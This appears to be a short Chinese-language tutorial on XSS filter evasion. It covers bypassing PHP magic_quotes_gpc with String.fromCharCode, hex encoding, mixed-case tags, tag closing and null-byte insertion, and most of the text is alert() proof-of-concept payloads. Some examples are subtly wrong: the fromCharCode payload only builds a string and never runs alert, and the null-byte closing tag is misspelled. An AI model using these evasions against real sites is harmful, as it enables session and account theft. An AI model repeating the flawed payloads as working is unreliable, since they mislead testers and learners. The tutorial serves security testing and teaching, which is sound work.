#未完待續...
00x1、繞過 magic_quotes_gpc
magic_quotes_gpc=ON 是php中的安全設置,開啟后會把一些特殊字符進行輪換,
比如:
'
會被轉換為
\'
再比如:
\
會轉換為
\\
可見其在正常字符的前面多加了一個斜杠。
一個被使用了magic_quotes_gpc簡單案例:
<script>alert("xss");</script>
會轉換為
<script>alert(\"xss\");</script>
如此一來我們的xss就不生效了。
針對開啟了magic_quotes_gpc的網站,我們可以通過javascript中的String.fromCharCode方法來繞過,我們可以把alert("XSS");轉換為
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)
那么我們的XSS語句就變成了
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
String.fromCharCode()是javascript中的字符串方法,用來把ASCII轉換為字符串。
如何轉換ASCII碼呢?
我們可以使用 hackbar 來搞定,Firefox的擴展工具https://addons.mozilla.org/en-US/firefox/addon/hackbar/
最后使用<script>轉換后的放到這里</script>包含即可。
00x2、HEX編碼
我們可以對我們的語句進行hex編碼來繞過XSS規則。
比如:
<script>alert("xss");</script>
可以轉換為:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
在線工具:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
00x3、改變大小寫
在測試過程中,我們可以改變測試語句的大小寫來繞過XSS規則
比如:
<script>alert("xss");</script>
可以轉換為:
<ScRipt>ALeRt("XSS");</sCRipT>
00x4、關閉標簽
有時我們需要關閉標簽來使我們的XSS生效,如:
"><script>alert("Hi");</script>
參考地址:
http://www.breakthesecurity.com/2011/12/bypassing-xss-filters-advanced-xss.html
http://www.exploit-db.com/papers/15446/
00x5、使用空字符
<scr%00ipt>alert("XSS")</scri%00ip>
空字符 (%00) 使得過濾器不能看到完整的 <SCRIPT> 標簽. 但只在 IE 6.0, IE 7.0 可以。